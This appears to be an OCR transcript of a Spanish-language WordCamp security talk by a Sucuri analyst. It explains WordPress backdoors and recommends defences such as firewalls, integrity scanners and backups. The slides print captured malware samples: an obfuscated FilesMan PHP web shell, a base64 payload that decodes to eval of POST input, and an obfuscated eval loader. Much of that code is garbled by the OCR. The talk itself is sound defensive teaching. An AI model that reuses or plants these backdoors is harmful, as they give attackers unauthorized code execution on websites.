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OUIEN LES HABLA

= Ingeniero Informatico

Tecndlogo humanista

Asesor en tecnologia

Fotégrafo y Early adopter. Curioso por
naturaleza

= Enero de 2015: SUCURI
= Incident Response

= Easy SSL

Mas info: about.me/pharar
Tw: @pharar
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SOBRE SULUT

o Sucuri: Anaconda (No es
Securi ni Security)

o Website security

o Especializada en webs y
CMS, escritos en PHP y
JS, SOL...

o 2008: Fundacion

L1k GoDaddy
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Totalmente remota
Servicios 24/1/365 a
todo el mundo

Operada por personas
de mas de 15 paises
de todo el globo

Scanners gratuitos:
o Sitecheck
o Performance



CONCEPTOS
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= Rama de la seguridad orientada al
mundo digital.

= Ciberseguridad web: Aquella
orientada a los eventos que
transcurren a través de los puertos

| CIBERSEGURIDAD 80 y 443 y entornos involucrados .
DISCLIHMER - TODA la informacién privada y

actores de la presentacion son
ficticios o han sido modificados
para que no reflejen datos
privados ni escenarios reales.
Cualquier similitud con la vida
real es pura coincidencia.
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“HACKERY

- CIBERTERRORISTA

= Hacker:

= Persona con curiosidad que
explora los limites impuestos por
materiales, leyes, algoritmos, etc.
y va mas alla del objeto inicial
por el que se concibe un objeto,
un entorno o un algoritmo.

= Ciberterrorista:

= Hacker informatico cuyo objetivo
es negativo o busca mejorar su
estatus a costa de los demas

= El Hacker Malo.
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HACKER MALO VS ANALISTA

HACKER MALO: CEREBRO ANALISTA: SHERIFF
CRIMINAL DE LA HISTORIA
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. MALWARE.
__CODIGO.COMO

HERRRMIENTB

= Malware:

= Pieza de cédigo orientada a
la consecucion de un
objetivo negativo o
moralmente deplorable.

= Codigo informatico:
= Las Pistolas

= ;Hay pistolas malas o
buenas?



Nuestro website es la Fortaleza que
el Hacker Malo quiere abordar.

Para esto, debe superar las
diferentes barreras que hay
protegiéndola o encontrar una
brecha en alguna.

SEGURIDAD POR
PR CAPAS Lﬂ St

"FORTALEZA

Las capas:

Fisica:

*Conectividad Logica

*Computacién *Algoritmos/prot .

eAlmacenamient  ecciones SO C].a.].
(o] *Bases de datos
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SOLUCIONES ELEGANTES VS CHAPUCERAS

Ejecucién comandos Fichero nuevo
Backdoor pequeia Ofuscado
Entre comentarios Intrusivo
Cambio minimo en tamaiio .

Firmado

Se mimetiza
El host no nota nada extraifio
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NO UGS WN -

07asu.php X

<?PHP

$auth_pass = "7815696ecbf1c96e6894b779456d330e";
$color = "#FF66FF";

$default_use_ajax = true;

$default_charset = 'Windows-1251"';
$default_action='FilesMan';

preg_replace("/.%/€", "\X65\X76\X61\X6C\X28\X67\XTA\XEO\XBE\X66\XEC\X61\XT4 —
\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28 ' 7L15XyL]s =
jD899z173yHGo730KdtpUC6pW2dEQQsFIROMZNHCIUIBCUYFIswp7/7GXGZWRVFYuvM30d9X2d =~ =

s0SqXyMj IiMjMWAG6@9nNzZKky f+u2 1dCkN

t0j hwWMxWagkC78Eb@uLx6cy fHUBT idzpeBvRxf/+C/8T3-+WDn/UTbMOhdKIh4c7I fmLTO }%ﬁé
XbhyJW0g 1A44HT jo6kP/7xXz9Uiw9QTx2N+nr7cFelY+nAASB2/wl17P2wPxtM11HyEwr8E1IW5z = =

Am1CrSPoY00pjMtghT+88IyB1Ri2gwJK6MPI rkmvHN+gVV@dDeeHgdn@+eM5qurt+FjS2upkOX -
alcvwajF34gaK6QFG/ExT1PUAZyy5Y80t3AYMV3wGasBua8PdCE34XaCJuaCLfCO3k9dDAKnme =
DdWpPhra7znTyfHBeKEd/YH/
XraaZvvT2VN7qI609iG9uMAy4gXUox fwCF5AMVg8k8tAgH3GgvhZvwxdLLg6AQX1r/
DQaA9Z1aM/nkeTwdMevD/oWWIYL70PHWAIOST8Ho4mGLX75UD/7ej/ =
@Dco+stBD8cj0jy5FHWg3w8fLgD 1B/ rVpavX1qTd7F98+zZpT2eToeQZC2/060IbsrGf9a :
H+hFMWbE8mo8mTMeoE j 3P 1+3tEof@SHj 9RATNAHHK/GjRfntovbXwWGmH6a6002KAKv6 fuToQ/0 :

6aH9CcNDs60rT77PRtGO+TWZDLMRfASPSh+3DILDIJ5 jeovKQCx5LwfBINMg4Lwx4f7YrnUjBZq =
/5wtiiBD+vqgS@etgajYwji3f0zPYTvrOEwGHHO570WD3kHNSiP2T404k+No2m2W2bhwfNyaS5 &

ZIV+4NOkm@/01Hr5k0QfoPUx4cPZAuUBEFPs i+TWNy/GbJQlgIGsg@Ass50SLbOH2 iq8pPmwoMh
0Z00V7cmjOwvDt8PH28emheBw6 j sDoLy+1wEIfBkgYjUxoNghfg9BE2zDb9s0h/hIkXB6Yzef2 =
OwAOFB4TcXWQuKynNPs493ZBPqOMbift8WgylYcdRkfQoKabzZbRfhKTYLoaXntLHRxXORACuU6K :

LDslAOPhByjn3kazjZ7wrGRPXYZZGthaMkcEm3pnd4BCHITRVNquVQ/Bb4Y0EXmKIerB55';4‘J

L8ULM{RAAV/A1+AKE+S ]/ JYO1/Z8G]ORTI/TVQdELI TMCS1s2peRgYj 0z9BXE2XsxOLXAK/
etfEs4+PD88SN8/xK/vi7/40B04eNBdAN3h@eXn531T5Z28sDJ89ale6iwPmgCF8YVOXim/

BDad= A ACAms"TAA=CC s A TD T ADCTACrONIIEAUYDNDNAC =D"7mAllra=ITEDLK  I-ODCDD ICRID S myr1 MEwes T




4)r untitled

Welcome to WordPress. This is your first post. [<a title="]" rel="
nofollow"></a>["

<a></a>] Edit or delete it, then start

blogging!
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BACKDOCR:
LA PIEZR
PELIGROSA



= Pieza de cédigo cuyo objetivo es
permitir:
= Ejecucién de comandos
= Accesos no autorizados

= Importante: saltandose los

(,QUE ES? _» protocolos de seguridad

‘ = Afianzamiento de una brecha en los
tCOMO muros de la fortaleza

FUNCIONB? « Necesita primero ser instalada, ya

sea por:
= Ingenieria social (Ej, fake plugins)
= Por una vulnerabilidad (Ej, exploit)

= Cross-Contamination, o dispersién
por otra infeccidn local ajena a tu
sitio web.
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~CONFIANZA
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W R SR
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= Para defendernos
adecuadamente, debemos
pensar como penetrar el
sistema primero

= A mas puertas y ventanas,
mas dificil defender tu
fortaleza

= ;Confias en tus
distribuidores? ;Cuanto
confias?
= Lia confianza es nuestro punto
mas débil
= Significa delegar la
responsabilidad en un tercero

= Es necesaria
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0BJETIVOS EN UN
ENTORNO WORDPRESS

= Analicemos objetivos:

=Usuarios

=Base de datos,
Informacioén

= Infraestructura
=Bot node
=Reputacion
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Ejecucién de
cédigo

REPASEMOS
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Saltandose los
protocolos de
seguridad



0UE ES UN
PROTOCOL DE
SEGURIDAD?
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#WCZGZ 2019

Reglas y procedimientos que
se deben cumplir para
aseverar la idoneidad y la
confiabilidad de un cédigo o

un acceso.

En algunos casos llega a ser
engorroso... afectaala
productividad.

Solucién: CADENA DE

CONFIANZA

Néstor Angulo

PROTOCOLOS
DE
SEGURIDAD
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BBCKDOORS 3
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= Existen y tienen como
objetivo facilitar
procesos

* Necesidad de establecer

= Diferentes niveles de
seguridad

= Cadenas de confianza

= Ejemplos:
= Features
= Notifications
= System update tools
= Find My mobile

= Seguridad, tracking,
gobiernos
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_ DOS EJEMPLOS DE TIPOLOGIAS.
L)) “CABALLO DE TROYA’
“WALKING DEAD”




CABALLO DE
TROYA
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aWYgKGIzc2VOKCRfUESTVFsienoxIlOpKSB7ZXZhbChzdHIpcHNsYXNoZ
XMoJF9QT1NUWYJl6ejEiXSkpO30=

® ®
y +°Exi p/
reval(ba p030=

));'Ibu Decode >>

Decoded press  Select  then [RINE IR to copy to
clipboard

if (isset($_POST["zz1"])) {eval(stripslashes($_POST["zz1"]));}
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’php

-~ (! defined(' ALREADY_RUN_1bc29b36f342a82aaf6658785356718")) {
define('ALREADY_RUN_1bc29b36f342a82aaf6658785356718"', 1);
$thxzqsaz = 9669;

function rgakyqy($eztimjoyq, $cxgon) {

>

¥

$symcwhpec = '";
for ($i = 0;%$i < strlen($eztimjoyq);$i++) {

$symcwhpc.= isset($cxgon[$eztimjoyq[$i]]) ? $cxgon[$e:
}

$ffjhcahkad = "base" . "64_decode";
return $ffjhcahkad($symcwhpc);

$owpjujowns = "bTCX6xwiIdHnG1V406cHGUMYGHOQI1GU76wpVLkIORQX6xY
$wczmc = Array('1l' => 'e', 'Q0" = '9', '3' = 'A', '2' = 'S',
eval

(rgakyqy($owpjujowns, $wczmc));
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PARA NO ABURRIRLES

= Varios pasos de encriptacion

= Cédigo final:
= Bot net endpoint
= Podia elegir remotamente cargando la opcién deseada:
= Eliminarse
= Cargar una URL en bucle
= Cargar un plugin

Listar CMS, plugins, temas y ficheros, asi como info del sistema

Inyectar Spam
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. ;C6MO PROTEGERNOS
9 B, FLLAS?




SEGURIDAD POR CAPAS

T (Social Tu dispositivo
hacking) (Antivirus)

Tu conexidén
(SSL)

Tu sitio web
(Firewall)

Tu seguridad del
sitio
(monitorizacién 'y
actualizaciones)

Tus credenciales
(Passwords —>
fuertes)

Tu seguridad del
server
(monitorizacidon y
actualizaciones)

Tu base de datos
(monitorizacion)

Mantenimiento
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Los plugins te ayudan Escaner de integridad:
Medidas de seguridad generales Detecta cambios en ficheros
No asistidos (o casi) Calcula los cambios
Huella digital MD5

PLUGINS. EL ESCANER DE INTEGRIDAD.
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BACKUPS Y
ACTUALIZACIONES

= iCrea una Estrategia de Copias
de Seguridad!

* Realiza copias de seguridad de
manera frecuente

- NUNCA almacenes copias de
seguridad en tu sexrvidor de
produccion (cross-site
contamination)

 Las copias de seguridad deben
almacenarse en un lugar seguro

- Hay muchos servicios que
ofrecen servicios de respaldos
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» Limpia todo el trafico a tu
sitio web

* Previene XSS, DDoS, etc...

* Software vulnerable

| parcheado y protegido de
w AF UN | manera virtual

’ PERRO ,_DE ® ° Siincorpora CDN, ademas
B I o mejorara en velocidad y
rendimiento.

- Herramienta para analisis
forense

* Permite bloquear a criterio
del usuario

GUARDA
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WAE UN PERRO DE GUARDA

Firewall para Aplicaciones Web (WAF)

Protege y Acelera tu Sitio Web

‘ Red de Sucuri

Perfilado de Firmasy

Todo el Trafico

HTTP / HTTPS

Aplicacién Heuristica

Trafico
% HTTP / HTTPS Bueno

Motor d »

otor de

Correlacion »
=

Trafico
HTTP / HTTPS Malo
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There are two types of
companies: those'who
have been hacked, and
those who don’t yet know
they have been hacked.

John Chambers
Chief Executive Officer of Cisco
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 GRACIAS POR S0
D ATENCION
PREGUNTAS!
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